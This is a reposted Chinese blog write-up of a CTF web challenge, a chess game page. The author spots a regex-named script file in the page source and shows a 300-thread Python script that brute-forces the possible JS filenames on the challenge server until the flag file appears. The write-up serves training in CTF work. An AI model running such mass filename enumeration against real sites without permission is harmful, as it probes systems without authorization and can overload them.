百度杯2017年春秋欢乐赛_象棋

转载

a173262565 于 2018-04-07 19:34:00 发布 275 收藏
原文链接：http://www.cnblogs.com/Ragd0ll/p/8734154.html

象棋

题目可以在i春秋的ctf训练营里找到

打开题目链接还真的给了一个象棋游戏，我一高兴还玩了两把.....

进入正题，题目中并没有给出提示信息，审查元素看看，发现了一个好东西

```
</head>
<body style="background: rgba(0, 0, 0, 0) url("img/stype_1/bg.jpg") repeat scroll 0% 0%;">
  <div id="box" class="box" style="width: 455px;">...</div>
    <script src="js/common.js"></script>
    <script src="js/play.js"></script>
    <script src="js/AI.js"></script>
    <script src="js/bill.js"></script>
    <script src="js/[abcmlyx]{2}ctf[0-9]{3}.js"></script>
    <script src="js/gambit.js"></script>
  <div style="text-align:center;clear:both">...</div>
</body>
</html>
```

看到这个正则表达式就知道接下来要写代码爆破文件名了，正好昨天刚学了多线程，今天正好拿来练习

```python
import requests
import threading
import queue
from queue import Queue


def text():
    url = 'http://f290ba2e5a2748c4851a87161a5f123c202c0ff2dccd467a.game.ichunqiu.com/js/'
    strs = 'abcmlyx'
    num = '0123456789'
    for i in strs:
        for j in strs:
            for h in num:
                for l in num:
                    for n in num:
                       new_url = url+i+j+'ctf'+h+l+n+'.js'
                       q.put(new_url)


def requ():
    while not q.empty():
        u = q.get(True, 1)
        try:
            r = requests.get(u).text
            if '404' not in r:
                print(r)
            q.task_done()
        except:
            q.put(u)

if __name__=='__main__':
    q = Queue()
    text()
    for each in range(300):
        t = threading.Thread(target=requ)
        t.daemon = True
        t.start()

    q.join()
```

这里必须提一下，一开始没有在get()后面设置参数，会导致代码在跑了几秒后，i春秋就把你给ban了，所以这里必须设置请求的时间间隔

```
象棋1.py [D:\python3\python.exe]
flag{09ca5ea0-6105-4c6b-9c44-46076cef2176}
```

转载于:https://www.cnblogs.com/Ragd0ll/p/8734154.html